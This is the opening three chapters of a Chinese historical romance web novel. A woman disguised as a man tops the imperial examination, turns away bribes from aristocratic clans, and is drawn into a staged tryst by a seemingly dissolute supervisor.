《什么,把我掰弯后,女儿身的你不想负责!》
1. 第 1 章
寅时,天还未亮,林疏影收拾好笔墨砚台,出了城南住所,直奔长安左门。
贡士们由礼部官员引着,按序排队,由长安左门进入皇宫。
大夏建国以来,多少青年才俊越过龙门,成为朝廷命官,泽被百姓,写就传奇佳话,成为一代又一代读书人的标榜,这一批贡士们也不例外,没有人不想做天子门生。
队伍摇摇晃晃往前走着,人群中,林疏影个子不算高,身形瘦削,无珠玉佩饰,不算起眼。
她在脑海里整理书卷上的要点,一不留神就撞上了前面那人的后背。
“哪个不长眼的敢撞小爷了?”这人甩着一身肥肉,呼哧呼哧地转过来,满脸的赘肉跟着晃。
“在下不小心撞到了,无意冒犯,还请这位兄台见谅。”林疏影看着比自己高半头的人,后退一步,拱手行礼。
“哎呦,生面孔啊,哪来的小叫花子。”魏丹清看着眼前瘦弱的书生,起了玩味的心。
林疏影抬头,就看见个肥头大耳的人,她又垂下眼,向后退一步。
再如何,这里是皇宫,等会就要进行科举,这人不该不晓事情轻重,她摆出不予理会的态度。
“呦,小叫花子变成哑巴了。”魏丹清不知发了什么疯,不肯放过林疏影。他腹诽:穷书生还敢跟小爷我摆谱,真是不知死活。
他看向林疏影身后一人。
“魏小公子,我看他是不敢说话了。”那人接了魏丹清的话。
几个书生面面相觑,默默让开,给魏丹清腾出地方来,他们可不想被这士族公子记恨上。
“你装那清风傲骨给谁看呢?”魏丹清走上前,一把捏住林疏影的脸。
她不是任人拿捏的主,不想惹事,但她也不怕事,这人在这里闹事,不光是个蠢的,八成还是个不中用的。
此次来京,她本不想惹起士族注意,眼下,这人恶语相向不说,还要动手。
她一把拦住那人的手,狠抓着手腕。
在一阵疼痛的嘶吼中,林疏影面无表情,手上还加重了力道。
“你们几个还等什么!”魏丹清冲看热闹的几人喊。他被人这么抓着,脸都快丢尽了,也不见有人来帮他。
平日里这些人殷勤的紧,关键时候就掉链子,看我回去不好好收拾他们!
那脸上的笑意顿时消失,便扑向林疏影。
她学过些拳脚功夫,对付一个纨绔绰绰有余,但一下子应付这些人,终归是漏了破绽,被两人按住胳膊。
林疏影想要挣扎,却只能被迫仰着头看着跟前肥肉满脸的魏丹清,她死死地瞪着那人,眼里尽是不甘。
她眼里藏不住的怒意让魏丹清一阵恼火。
“竟然敢瞪我,你这个…”魏丹清扬起手,蓄足了力,就要挥向林疏影的脸。半路却剑鞘截胡。
他的手与剑鞘相撞,剑鞘里的铁剑撞击着剑鞘发出闷响。
“谁多管闲事啊。”魏丹清赶紧捂住被伤了的手,他转身,看着那一身蟒服的人,带上了赔笑。
制着林疏影的两人看着眼前高大的人影,连忙放下,向后退到原来排队的位置。
林疏影顺着那人的力道摔在了地上,她看着金玉做的砖块。
勾起一抹殷红的笑,她腹诽道:欺软怕硬,酒囊饭袋。
她仰头看着来人,那人配着一把墨色剑,身形高大,在阴影里看不清楚脸,只能依稀看出一个模糊的轮廓。
那些书生们也都心照不宣地站好,这俩人突兀极了。
队伍里不知哪出来一声嗤笑,魏丹清斜眼瞪过去,只觉那声忽远忽近,找不到人。
“魏公子好雅兴,真是什么时候都不忘给自己找乐子。”谢寅把剑挂回腰间,双手抱胸,勾勾嘴角,鄙夷道。
“瞧您这说的,不过是一点小事,哪里劳烦谢总督?”魏丹清赔笑着,面上却是一点不悔过。
“小事是什么,是魏公子因为一件小事就打人脸,还是谢公子打人脸是小事?”谢寅不紧不慢地说着。
“这里是皇宫,可不是别的地方。”他挑眉,提醒着眼前的人。
林疏影心里门清,总督这是在用皇城的威严来威胁这人,从而护自己一时安定,单从这人的言行来看,哪里跟传闻中的纨绔一般?
她不免多看了这人几眼,白皙的皮肤,一双桃花眼,眉目含情,俊俏得似女人的脸。若非高大挺拔,不然真是个俊俏的小娘子。
好吧,这模样倒是像了。
怎么是总督来监考科举,难不成京城没人可用了?
这人年纪不大,不过弱冠之年,一身蟒服,得了皇帝青睐,身居高位。
“好,谢寅,你给我记着。”魏丹清狠狠瞪了一眼。
谢寅不屑地嗤笑一声,转身离去。
队伍恢复了秩序,经这一番折腾,没人敢再触霉头了。
“拿出入试牒来,检查。”
林疏影看着眼前一幕,谢寅旁边站着个下属帮他喊话,不仅如此,还要经过这下属传过入试牒,并呈给他看,他甚至都不用费劲动一动那金贵的手指头。
她刚觉这人有些气魄,是个好官,此刻这懒洋洋的模样又让她产生怀疑。
京城真是大啊,当真让她开了眼。
林疏影排在队伍的前面那部分,很快就到她了。
她不紧不慢地拿出来递给下属,抬眼就看见那人懒洋洋地看着入试牒,再看看她的脸,仿佛为了确定什么,因而花费的时间比旁人多一些。
那人撇开眼,把入试牒随手丢给下属,道:“下一个。”顺带打了个哈欠。
这是母亲亲自为她安排的身份,造假一事是不会那么轻易被发现的。
她这才松了一口气。由礼部官员引着往前走。
看着红墙金瓦,巍峨在晨光里的宫殿,这一切真实在眼前,却让她觉得不可触及。
想起曾与母亲约定登科进士后把酒言欢,如今母亲…思及此,她心里不免酸涩,母亲死得离奇,她一定要查清旧案,为母亲申冤,也不会放过任何一个凶手。
礼部官员引着林疏影往承天门走,穿过金水桥,寅时刚过,身侧的太阳露出点光,天边的雾气散了一半,光影刺入近处未完全解冻的水面,前方就是承天门,在微弱的晨光中散去了些黯淡,金瓦生辉。
林疏影看着东方泛白的天际,眼神坚定,满怀壮志,几月来未有好好吃饭的脸清冷瘦削了不少,反有了读书人的孤傲。
料峭春寒有些刺骨,红墙高得人望不见顶,贡士们按序排好,踩着金砖,从正门进入,穿过长长的门洞,窥见皇城内的风光。
皇宫开阔,若是无人领着便会迷了路,贡士们进了午门,高大的城门缓缓打开,高处的太和殿映入眼帘,随后丹陛,台阶铺设过来,增添了几分威严。
此时皇帝应该坐在太和殿宝座上一览贡士,贡士们搓手哈气,眼睛直勾勾地看着高殿。
春日风有些大,好在天晴无雨雪,一排排考生就位丹陛,放好笔墨纸砚,提笔答题。
林疏影就位,不自觉得就仰头要看那万人之上的宝座上的人,那是她要侍奉的君主。
沿着台阶一路往上,殿里空间橡相较来说有些狭小,林疏影定睛。
居然没人?那宝座上空空如也,只有侍立在一侧的红衣官员和刚才所见之人,天才刚刚亮起来,屋檐挡着光,林疏影看不真切面容,心下有些疑惑,但还是收回目光,静下心,铺开考卷。
“今水旱不时,民多乏食,何以使农不废耕,商不废市,而民皆足食?"—《明太宗实录》
林疏影忖度一阵,巴郡北上一路的灾难历历在目,而不知多少人的性命就在这短短的八个字里概括了,那些因饥饿、洪水死去的百姓命数已定,而那些尚且苟活乞讨的百姓的命运就在这些考生的笔,林疏影搜刮脑海里的知识,梳理一遍,深吸一口气,坚定地提起笔。
太和殿上,陆德静看着底下密布的贡士,心里五味杂陈,他再三督促皇帝要参加殿试,结果皇帝瘫在妃子床上不肯来,还让太监敷衍他。
虽为吏部尚书但曾任太父的陆德静觉自己教导有愧,没能给天下一个好皇帝。
“劳烦总督监察了,望总督细心些,这些人可都是我大夏的基业啊。”陆德静拱手行礼。
如今士族分割朝堂,寒门子弟即便是科举入了朝堂也屡屡受挫,要不被士家拉拢,要不就被踢出京城,士族不容许任何人再分他们一杯羹了。
陆德静出身寒门,不图职位利害,只想大夏百年基业得以延续,近些年来对科举一再重视,提拔了不少有志之士,今年也不例外。
“哪里的话,为天子选门生,谢某不胜荣宠,谢某定然尽心尽力,不负皇帝与老师的垂爱。”谢寅正经了几分,回礼,随后配剑向下走去。
坊间都传谢寅总督之位来得不正,若是一个人当真玩世不恭,哪里能官居总督,成为皇帝的最后一根救命稻草呢。
考试难免有贼心不死的打小抄舞弊。贡士里不乏有些官员子弟,通过不明朗的手段进了殿试,若要论起真才实学,自然没有几两墨水。
刚才与林疏影发生争执的考生,哆哆嗦嗦地从里衣里拿出一层薄薄的被墨水浸染成黑的布帛,他眼神游移不定,慌忙地看着四周,对上谢寅的带着笑的桃花眼,不敢动作了。
谢寅一眼就看出那人做贼心虚,锁定了目标就要抓个现行。
林疏影位置靠前,他路过时无意间瞥见她的工整清雅的字迹,稍稍侧目。
她埋头提笔,自然顾不得身边的人,一柱香还没过,就已经洋洋洒洒了半篇。
那胖乎乎的公子哥是魏家的小公子魏丹清,前几次科举,托人勉强过了,在皇城之下,天子脚下还敢如此。
要说他的哥哥,那可是远近闻名的才子,父亲更是户部尚书,颇得皇帝青睐,可偏偏就养出个酒囊饭袋。
谢寅佯装没看见,围着魏丹清转了几圈,吓得他连头也不敢抬,豆大的汗珠哗哗地掉,不一会就沾湿了一片,魏公子手里的笔拿起又放下,放下又拿起。
太阳越至太和殿顶上,已是正午,谢寅有些疲乏,蔫蔫地退到阴凉地里休息。
魏公子谨小慎微地掏出小抄,打开那用鼠尾写的字迹,手抖地拿起笔,一字一划地往上抄。
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科举不第不是什么丢人的事情,若是殿试一团糟,被人看出德不配位恐让人生疑。
正当魏丹清手抖着写了两句时,一个人影悄无声息地罩住了他。
魏丹清抄得有些得意,正想着这科举不过如此,没有什么事官权钱解决不了的事的时候,那黑影让他大脑一滞。
“天阴了,天助我也,这日头太刺眼。”魏丹清心想着,加快了手上的速度。
随后他眼睛撇向一边阳光笼罩的地方,看清楚了黑影的轮廓,手上的笔掉下来。
墨水浸染了他的衣衫,笔在地上翻滚几圈,停到了谢寅脚下。
魏丹清赶紧攥紧小抄,装作若无其事地捡起笔。
“魏公子,交出来吧。”谢寅丝毫不客气。
“什么?你素来眼拙,想必是看错了。”他护着手里的东西,生怕别人不知道似的。
“总不能因为你父亲与我父亲在朝堂上意见不合,就要抓我的小辫子吧。”魏丹清攥着小抄的手渗出了汗,晕染了墨迹。
他这是在提醒谢寅,如果不放过他,那他的父亲必然会针对谢寅一家。
林疏影闻言向后看去,正对上做贼心虚狼狈不堪的魏丹清,她嗤笑一声,腹诽道:现在把父亲的官位搬出来,也够蠢的…
“你无凭无据,不能抓我。”魏丹清见谢寅不说话,更慌了,汗水流到他嘴里也顾不得了。
“你谢总督我不管别的,左手里攥的什么,交出来,若是影响殿试,罪加一等。”谢寅用剑鞘抵着魏丹清的左手。
“没…没有,什么也没有,你看错了。”魏丰华浑身发抖,汗如雨下,下意识看看周围,周围人投过来的鄙夷的眼神在他眼前放大,他咬着牙,恶狠狠地瞪了回去,又攥紧了手里的东西。
谢寅示意侍卫上前,掰开魏丹清的手,搜出了被浸湿的小抄。
“人脏并获,带走。”谢寅一声令下。
魏丹清脑子乱作一团,“你们不能抓我,这是我刚才写的,我的父亲是…”侍卫不管他解释,架起他来就要走。
魏丹清慌乱间瞥见了林疏影工整的书卷,突然道,“你看他,他已经答完了考卷,必然心术不正,也是抄的。”
林疏影猛然瞪着魏丹清,真是阴险狡诈。
众考生闻言,视线从狼狈极了的魏丹清身上转到了林疏影身上,见林疏影端坐着,桌上铺着一张写满的考卷,又看看自己白一片的,不免唏嘘。
“还敢咬人?”谢寅瞪了一眼看过来的考生,他们急忙收回视线。
“没有证据就不要乱说,栽赃陷害也是罪加一等。”谢寅说话时却是看着林疏影,露出一抹笑。
他把小抄递给一个太监,“告诉陆大人,一人舞弊。”转身继续监察。
有些考生没有时间理会这样的乱子,有些考生心虚地为自己捏了一把汗。
日薄西山,该收卷了,贡士们均长吸一口气。林疏影也不例外,把天下百姓的安危扛在肩上,份量自然不轻,她写完思索了好长一段时间,有些地方或加或减,总有不满意之处。
一切尘埃落定,只待几日后长安左门的榜了。林疏影按着原来的路线出宫。
与谢寅擦肩而过,听见了谢寅吩咐侍卫领他去提审科举舞弊之人,她心下一滞,忽想起那人胖乎乎,就是陷害她的那人。
那人满身赘肉,一脸娇纵,一看便知是非富即贵的,故而她才忍了那般羞辱,若非谢寅前来,她少不了挨一巴掌。
“多谢谢总督替我解围。”林疏影总还是回过头来,冲谢寅道谢。
“小事而已,不过,你生得怎么跟女子一般瘦弱。”谢寅抱胸而立,上下打量着林疏影,随口调侃道。
那俊秀的字体竟出自这样瘦而小的手。
林疏影闻言心里的弦绷紧了些,面上不急不缓说道,“家贫,只能供我入学堂,自然就短了吃食,这才身形瘦弱,谢总督应该见过,与我一般的考生也有不少。”
她在京城呆的时间不算长,对士族和朝堂派别并不清楚,而对谢寅其人更是知之甚少,她隐约察觉这谢寅并不似传言那般纨绔,还是得小心些。
无论如何,扮男装参加科举是欺君之罪,不光牵连整个林家,还会让她所做之事功亏一篑,一无所有,她的身份绝对不能让任何人知晓。
“是吗,比你高的倒是见过。”谢寅脸上始终挂着笑,却让林疏影觉得瘆人。
谢寅见林疏影辩解,不免好笑,起了挑逗的心思。
“谢总督夸大了,我哪里矮了,不过比谢总督矮半头多一些,就要这样说,着实不妥。”林疏影攥紧了拳头,指甲几乎要嵌进肉里,面上却云淡风轻地开玩笑。
“我就逗逗你,瞧你这一身的刺。”谢寅噗嗤一声笑出来。
“大人,提审科举舞弊之事…”一旁的侍卫提醒。他风流惯了,京城无人不知无人不晓,侍卫怕他误事。
“谢总督,慢走。”林疏影忙拱手行礼,把头埋在胳膊下面。
谢寅摆摆手,走了。
林疏影起身,长舒了一口气,迈开步子出了城门,越过金水桥,望着挺立在夕阳里的金水桥。
2. 第 2 章
母亲离奇死亡,父亲心知肚明却仍旧不肯查找真相,她再三请求父亲彻查此事,甚至击鼓鸣冤,官员怕事,只草草了解…
林疏影心灰意冷,觉人心凉薄,自己偷偷潜入母亲卧房,找出了那封载着真相的信…
她不顾一切地潜逃出林府那日,下了大雨,正巧为她抹除了任何踪迹。
城南小院,泪湿了枕边,脸上泪痕斑点点,她睁开有些酸痛的眼,茫然地看着倚靠在床头的剑。
母亲尚在时,二人在巴郡林府里经常一同练剑。母亲空下来,便教导她功课,现下,只留下这死物一件,她每每睹物思人,心痛得她要使劲捂着心口,才有片刻缓解。
出榜这日,锣鼓喧天,城北到城南的永安街道挤满了人,乌泱泱地涌出来。
林疏影住处偏僻,往内城走还需要走许久,她计算着时日,特地寅时起,好生梳洗一番,离开了破败的小院,奔向长安左门,看皇榜。
还未绕出小巷,敲锣打鼓的声音就已经冲入了她的耳朵,她往远处张望,奈何房屋遮挡,并不能看见。
她思索再三,还是选了常走的那条路。
永安街道人满为患,贡士们穿戴着家里最华贵的衣服,孩童们捏着一把糖边走边吃,京城似焕发了生机一般,而这生机的去处就是长安左门一边的皇榜。
他们被拥着,一步一应和,回应着左右两边的祝福,头摇成了拨浪鼓,人群慢吞吞地终于到了皇榜处。
林疏影挤在其中,春日里竟然出了一身的汗,她毫不在意体态面容,随手一模额头上的汗珠,扶正被挤歪的帽子。
拨开身旁的人就要往前挤,在几日的等待里,她面上一切从前,心里却是想着念着,那念头只要一出来就要扰她一天,连带着温习都非常缓慢,从前只要一日便温习完的书卷,她却用了三日。
耳边传来各色声音,有喜极而泣的,有悲恸嚎叫的,孩童的哭泣声,林疏影的心也被揪起来,不停地为自己祈求,“母亲保佑,母亲保佑。”
她从来是敬鬼神而远之,她从不奢望会有天神下凡改变不公。
林疏影终于挤到了前排,却不小心推倒了一位趴在榜上看的书生。她连忙扶起来,小声道歉。
她本就是女扮男装,不敢暴露出自己的声音来,加上人群嘈杂,她的声音被淹没在吵闹中,好在那人心肠好,一笑了之。
林疏影庆幸自己没惹上人,抬眼望向皇榜,浏览着想找出自己的名字。
“状元何在啊?姓林,竟不是几大家族的人,京城书肆里不曾听闻有这样一号人物啊。”一人指着皇榜第一位吼着。
皇榜前人挤人,声音自然也就乱做一团,不大声喊根本听不见话。
她心头一滞,猛然看向那人指着的名字,反复确认了三四次,眼里就糊上了一层水,眼泪一滴一滴滚圆地往下掉,林疏影用手捂着嘴巴。
母亲在天之灵,想必也是为她开心的。她擦了眼泪,露出一抹释然的笑来。
周围不断涌上来看榜的人,林疏影身形不算高挑,被围在最里面,一时出不去。
“我看啊,这几大家族也该腾出地方给贤才咯。”一个指着榜,笑着。
“你们可听闻那魏家小公子,舞弊被抓了?”另一人小心地说着,只周围人能听见。
众人听了这话,果然纷纷挪过来,要把耳朵贴在这人嘴上似的。
那人见得了捧场,肆意说起来,“这魏家小公子啊,娇纵惯了,整日里只会吃喝玩乐,哪里有什么真本事,听说就连那贡士的身份都是夺了他人的…”
“什么,确有此事?”众人错愕,顶替他人科考,可是重罪。
“哼,我看他们这些士族从里到外,从上到下都腐烂透了,真是…”
林疏影佯装看榜,却张着耳朵,仔细听着周围人的议论,知晓那人果真是士族公子,心里唏嘘,多了几分嫌恶。
她勉强逮到一个空隙钻了出去,照常回了小院,本想照常起居。
然而,就在她看完皇榜,打开宅门时,却迎上了不速之客。
“状元郎回来了。”那人一脸笑呵呵得迎林疏影,一身胖肉颠来颠去。
“寒舍简陋,疏影招待不周,还望见谅。”林疏影恭敬行礼,眼睛无意瞅了一眼一地的礼,心下了然。
“孙家老爷送来的,都是上等的好东西,来看看。”这人见林疏影宠辱不惊,着重强调了上等二字,说着便打开了一个小盒子。
金玉珠宝,没哪个人会视若无睹,尤其是眼前连个像样住处的穷书生,定会乖乖就范。
林疏影视若无睹,装傻道,“您收好,疏影命薄,受不得这样的大礼。”林疏影说话很轻,但每一个字又很重。
那下人先是一愣,而后不死心一般,打开了几个大箱子,果真金黄一片,日头打过光来,就要刺人眼。
林疏影看着这些财物,,这才刚放下皇榜,孙家就敢如此光明正大地贿赂她。
而这一地的珠宝金银,是不知搜刮了多少民脂民膏换来的,洪灾刚过,朝廷的赈灾粮食迟迟下不来,百姓只能挑拣自家去年剩下的被洪水泡过的霉米裹腹,京城权贵有钱财拉拢贿赂,对赈灾却闭口不提。
她慢慢收紧手,瞪着那地上的财物,又想起母亲的那封信,要把那金银瞪出窟窿来,面上早已控制不住,她咬着牙,压抑着随时可能爆发的怒气。
母亲之死,牵扯的案件,涉及京城各士族,孙家也有一份
那人却以为林疏影动了心,暗自嘲弄,“有钱能使鬼推磨,管你是状元还是什么元,见了钱,有了权,还不得乖乖做小伏低。”
这人见林疏影要开口,抢先一步,“若是觉得不够,您看看我在给您搬过来些,再给您置办一个好宅子也是可以的。”
“您可放心,您收下啊,没人知道,只不过您得归了孙家,不过往后啊,孙大人在圣上面前美言几句,给您些好差事,您的仕途还不是一帆风顺的?”
这么多条件,足以让一个穷乡僻壤的书生动心了才是。
林疏影一听,明摆着党派割据,不过钱权相诱,她心里不耻,面上却淡定下来,“大人高抬疏影了,疏影不过一届书生,算不得什么,不敢收魏大人的礼。”
那人苦口婆心,见这人仍旧不依,低声咒骂一声,“唉,林状元,这明摆着的荣华富贵,怎能不要呢。”那人有些着急,一只手拍另外一只手,像是要给林疏影算这笔账似的。
“你进了朝廷,有户部尚书魏大人倚仗,那些官员自不会刁难,加上得了大人助力,凭借您的才学,那可是直上
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青云的…”
“大人不必与我费口舌,我是个俗人,入不了魏大人的眼,您回去跟他这般说便是,恕林某要赶客了。”林疏影毕恭毕敬地行礼,做出送客的架势。
摆出这么大的阵仗,孙家是生怕不被皇上知道了。
直接从天子手上劫人,真是好大的胆子。
就是这孙家敢,她也不敢。
士族竟然已经这么猖狂了,还是抓紧时间弄清楚京城的状况,等几日后的早朝吧。
那人见林疏影油盐不进,头也不回地领着下人出了门。林疏影看着清冷下来的院落,终于松了口气,但她隐隐觉得这一切才刚刚开始。
果不其然,孙家走了,赵家来,赵家走了曹家来,曹家…破败的小院倒门庭若市了。
林疏影焦头烂额,应付完这一家又要应付那一家。
京城士族们踏破了城南小院的门槛,也吃遍了这人的闭门羹,都觉这人是把硬骨头,难啃得很,都在一旁观察林疏影的动作。
她有些不自在,但若是她要入朝廷,这便是第一步。
她低头打扫门庭,扫走那些世家带来的风尘。
拿着扫把一下一下地扫着,忽然一双黑色的靴子踩住了扫把。
林疏影沿着那靴子向上看去,红色的衣衫与盎然春意相衬,往上便是白皙的脖颈,清晰的下颌线勾勒出一张恣意的面庞,剑眉微蹙,接着林疏影就迎上那双桃花眼,不知此人来意。
“林状元声名远扬,不知谢某可否讨教一二?”谢寅松开脚,行礼。
“谢总督还有什么不明白的?”林疏影装笑脸装得累了,干脆脱下面具,讽刺道。
“自然是有的,你的考卷上有一处我不甚明白,反复思索仍旧不懂得,望林兄百忙之中抽空点拨一二。”谢寅走上前,不客气地搂住林疏影的肩膀。
林疏影肩头一沉,见那人舒舒服服地搭着手,她有些无奈,想把那只手甩下去。
谁知道谢寅竟然搂着她往前走,谢寅力气大,她几乎是被拽着走的,林疏影心里有些气愤,面上仍旧保持着笑脸。
“谢总督,林某实在是抽不开身,您就别为难我了。”
谢寅的手有意无意地耷拉在林疏影胸前,她有些无奈,有些顾忌,面上却不能表现出来,压着心头的气,挪下那沉甸甸的胳膊,两人的手相互碰撞,林疏影摸到了那人手上的厚厚的茧子。
“哪里,解答一二难题,费不了多少时间。”谢寅见她不愿意被搭肩膀,也不勉强,还是不肯松口。
林疏影跟着他走,忘了关小院的门,不过也没什么能让小偷惦记的东西。
她生怕惹这总督生疑,一路上也没再言语,那些暗中窥探她的士族的眼线纷纷跟上。
“挺热闹啊,看来得带你去个好地方了。”谢寅抓住林疏影的手。
林疏影不明所以,跟着前面的人加快脚步。
京城的繁华曾被她束之高阁,而今冒然地闯入,倒有些迷人眼,乱人心了。
她从前一直克己,母亲死后,她北上流窜,更是没有多余的银子享受。
二人直奔青娥,那些线人们面面相觑,这谢总督是最不着调的一个,整日里泡在酒楼青娥不说,曾经还有断袖的传闻,莫不是,这谢总督看上状元郎了?
3. 第 3 章
林疏影第一次进青娥,颇有些新鲜。
青娥一楼七嘴八舌什么吹嘘拍马的人没有,她还长了些见识。
她随谢寅走,她故意放慢了脚步,听坊间传闻有关于母亲的传闻。
“你们可知,那赵家小姐死了!”高承高举酒杯,一脚蹬着凳子。
“什么?她远嫁巴郡,你从哪得来的消息?”另一人瞥了那人一眼。
“赵家人昨日出城就是因为这件事,这哪里是秘密了。”那人一饮而尽,眼里尽是化不开的悲伤。
“呦呵,还惦记人家呢,你可不是整日趴在赵府的墙上,观察赵家动静的吧。”这人话音刚落,就来了一阵哄笑。
“还未有死因,这事情太怪了…”高承自顾自呢喃。
众人只顾着笑他痴情,都没在意他。
京城无人不知,无人不晓,高承对赵明心的一片心意。二人年少相识,却因门第之别,隔出天堑。
高承内里自卑,还是有骨气的,他曾为了心爱之人与赵怀庆对峙,却被揍了一顿,扔到了京城最繁华之地,闹得满城皆知,他也成为了京城的笑柄。
后来,赵明心嫁了他人,他也只在暗里相送,没成想,那偷偷瞥的一眼竟是永别。
林疏影站在高处,看着暗自神伤的高承,觉察这人定然知晓什么,便记下了这人的样貌。
正思索间,被突然的一句话打断,“唉,我怎么听说,这赵氏是被妾氏害死的?”
她顺着声音望去,人群杂乱,她分辨不得究竟是谁起了话头。
“可是妾氏僭越正妻,这大户人家的后院恐怕就没消停过吧!”
“赵氏为人温和,待人宽厚,肯定是那妾氏嫉妒故而失了分寸吧。”
……
又是一阵骚动,下酒的事情来了一个又一个,杯子里的酒添了又添,总是不够。
林疏影收回视线,想着人传人的话究竟是真假参半。
她确实有个姨娘,姓陈,不过待她极好,父亲虽与母亲有隔阂,但也从来敬母亲,让着母亲,对她也是极好的。
她不再留恋闲言碎语,走上盘旋折叠的楼梯,踩着斑点美玉,居高临下地俯瞰着一楼。
青娥是京城最高,最繁华的酒楼,登高望远,伤春悲秋,文人雅士们附庸风雅的绝佳之地。
她在巴郡时,虽也跟着母亲出府游玩,却从未见过这样的酒楼,怪不得京城醉人。
随谢寅上楼,二人一前以后走向走廊尽头的房间。
能去青娥四楼的人非富即贵,走廊尽头的房间略偏远,故而鲜少有人打扰。
林疏影不知谢寅找她来究竟所谓何事,如今又被带到了偏僻之处,绷紧了那根弦,生怕露出破绽。
“谢总督引我来此,所谓何事?”随着门被侍从关上,开门见山道。
她不是任人拿捏的主。
“着什么急啊,昭华兄,坐。”谢寅一双桃花眼盈盈地笑,却让林疏影摸不清意图。
她接过谢寅递来的酒杯,戒备地看着他,手里的酒杯迟迟没放下。
“放心,我此番找你,不过是吏部尚书陆大人所托。”谢寅无趣地摆摆手。
“吏部尚书?我与陆大人并不相识,总督莫不是找错人了。”林疏影放下酒杯,心下松了一口气。
久闻陆大人赏识青年才俊,提拔寒门子弟,他的学生们的功绩她北上一路也见了不少,她打心底是佩服的。
“他看了你的考卷,觉你是可造之材,提前让我知会你,不要结党。”谢寅一口饮尽酒杯里的酒,仰躺着,把玩着空酒杯。
他本想好好招待这位状元郎一番,没想到这人竟这么直接,也不自讨没趣,把该说的都说了。
“多谢陆大人提醒。”林疏影垂下眼眸,陆大人必定是个爱才的,若是能倚靠陆大人,起码比傍着阴晴不定,唯利是图的世家好太多。
“还有,他会找时机提拔你,不过现在洪灾刚过,士族们闹得正凶,谁也不想少拿些银两,你不要掺和这事,见了什么不该看见的,权当没看见,不要引火烧身。”谢寅小声说着,他还时刻敏锐地捕捉着周围的一切。
林疏影听了,心下一紧,贪污,就是官员的贪污,才使得母亲死得不明不白,这些人鱼肉百姓不够,竟如此猖狂,果真把手伸向了朝廷,要动摇大夏的根基!
她深吸一口气,觉添了士族的水浑浊极了。
“多谢总督,不知可还有其它的话?”她不愿与谢寅有牵扯,也怕被瞧出来异常,但话语里却没显出急迫来。
“自然是……没了。”谢寅故意停顿,他仔细瞧着林疏影的脸上的神情。
林疏影察觉到那束目光,自然没露出破绽,觉这人似是有意捉弄她一般,心里不免打鼓。
她可不想招惹上一个纨绔,简单行了礼,就要走。
“等会,这就要走,外面可都是盯着你的人。”谢寅修长的手指有一下没一下地敲打着酒杯。
他日日练武,感官敏感许多,自踏进那小院时,就发现有人暗中观察林疏影,所以不得不拉她出来入这青娥,引人耳目。
阵阵清脆声敲打在林疏影的心上,“什么?”
她来京城不过几日,父亲该不会找上来,她在京城能接触到的,想来只有今日登门的士族们。
复又坐下,拿起酒杯就要喝,举到嘴前,才发现不是茶,又放下。
“要是你现在出去了,那些人会怎么想,到时候查到我身上,牵连了陆大人,这就不是小事情了。”谢寅邪笑,看着林疏影的手,只觉得那手纤细得不像男人的手,指尖还停留在杯盏上,轻轻划过。
其实他与陆德静之间的关系没有多少人知晓,次话不过是为了逗弄这个状元郎。
眼前这人沉稳地没情绪似的,连魏丹清的羞辱都没能挑动她的怨愤来,他倒想看看,这人如何才能有了情绪。
“那我应该如何?”林疏影有些头大。
“自然是假装与我幽会了。”谢寅宽了宽衣袍,拿着刚斟满的酒杯,上前挨着林疏影坐下。
看着林疏影脸上略微浮现出来的慌张,他脸上的笑加深了些。
林疏影反应极快,平复下心情,也不躲,“谢总督不嫌人非议吗?”
“与你,这个名满京城的状元郎,自是不嫌的。”谢寅玩味地勾起她的下巴,迫使她看着自己。
林疏影眼里闪过一丝厌恶,皱眉甩掉他的手,“谢总督,不只有这一个办法吧。”
“嗯?”谢寅将林疏影的情绪尽收眼底,也不恼,略微安分了些,端起酒杯一饮而尽。
“若是我同你争吵一番,愤然离去,你我二人的名声都能保得住,不是吗。”林疏影腹诽:纨绔就是纨绔,想的法子也全是玩乐。
“你同一个风流纨绔能吵什么?这里哪有女人供我们抢。”谢寅仿佛看透了她的心思,说着。
他忽然察觉到屋外有人靠近,知晓是那帮士族线人,故意贴近林疏影耳朵说。
水汽打在她耳朵上,有些痒,她想躲开,却听见谢寅说:“那些人在外面,装得像些。”
林疏影意识到躲不过,也没再反抗,任凭谢寅动作。
她顾及着自己是女儿身,被人压着,有些拘谨。
青娥的雅间是不许旁人靠近的,几个线人绕过了青娥的管事,才蹑手蹑脚地靠近。
透过窗纸,隐约可以看见交叠的身影。
线人们视一笑,不愧是谢总督,连状元郎都能招来。
林疏影极力保持着面容,心里的嫌弃早就按捺不住了,她强忍着想扇谢寅巴掌的念头,与他配合着。
“这些人走了吗?”林疏影主动贴近谢寅的耳朵。
“没有。怎么,害羞了?”谢寅作势要扯她衣服。
她忍不了了,巴掌声清脆有力,谢寅脸上多了个鲜红的巴掌印。
“以怨报德,疏影你可真真是君子。”谢寅舌头抵着一侧脸颊,忽作一笑,不过是装装样子而已。
“唐突了,谢总督。”林疏影整理好衣服就往外跑,门外的线人们还不知发生了什么,见状元郎慌慌张张地跑出来,都心生疑惑。
谢寅抬眼,注视着她仓皇而逃的背影,直到那抹瘦削的身影消失在人群中,他拿起酒盏砸向地面。
“砰”一声脆响,薄瓷四分五裂。
这一声动静不小,青娥管事循声而至,见谢总督慵懒地靠坐着,脸颊一侧泛红,神色间藏着一抹恹然,心下了然。
“爷…给您叫几个识相的姑娘上来?您听什么曲啊。”
谢寅淡淡抬起眼,见围观人里几个异样的面孔,他极轻地“啧”了一声,才玩味道,“艳、曲”
谢寅自己把这戏唱完了。
他仰躺着,听着小曲,品着酒,眼睛却空洞洞地看着房梁。
是了,他本不是玩世不恭的人,他也不爱沉溺于酒色之中,但谢家与陆大人走得太近,父亲与哥哥又身居要职,他不得不风流纨绔,其实他看到林疏影身上儒生的正直果断时,是有些眼羡的。
他曾拜与陆大人门下,熟读经书,也曾立志高远,但因为朝廷局势动荡,不得以才
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扮了这纨绔。
其实享乐也没什么不好,他倒是享得很自在。
不知不觉,日薄西山。
突然,马蹄声破空而来,急报直奔皇城,谢寅猛得推开身上的人,摇晃着起来,扒着窗户往外看。
骏马飞驰而过,铃铛清脆震耳,人们躲闪开来,拥挤的街道宽敞不少,马上的人声嘶力竭地吼着:“急报,快闪开。”
马车上的人摇摇晃晃,依稀可见背上插着一根绿翎的竹筒,被皮带固定着,安稳地躺着。
马儿消失在街道转角处,谢寅酒醒了。
风雨欲来。
*
三日后,中榜的书生们穿戴好进宫面圣。除一甲三人外,其余人要进行下一轮考试。
林疏影由礼部官员引着,在太和殿前候着,等皇上召见。
此时,朝堂一片混乱,官员们吵做一团,丝毫不顾及形象。
皇帝只得扶住额头,闭着眼,眼不见为净了。
前几日急报传来,本也不是什么大事,说庆阳洪灾缺粮,户部工部统一协理,派人修好堤坝,送了粮食便可。
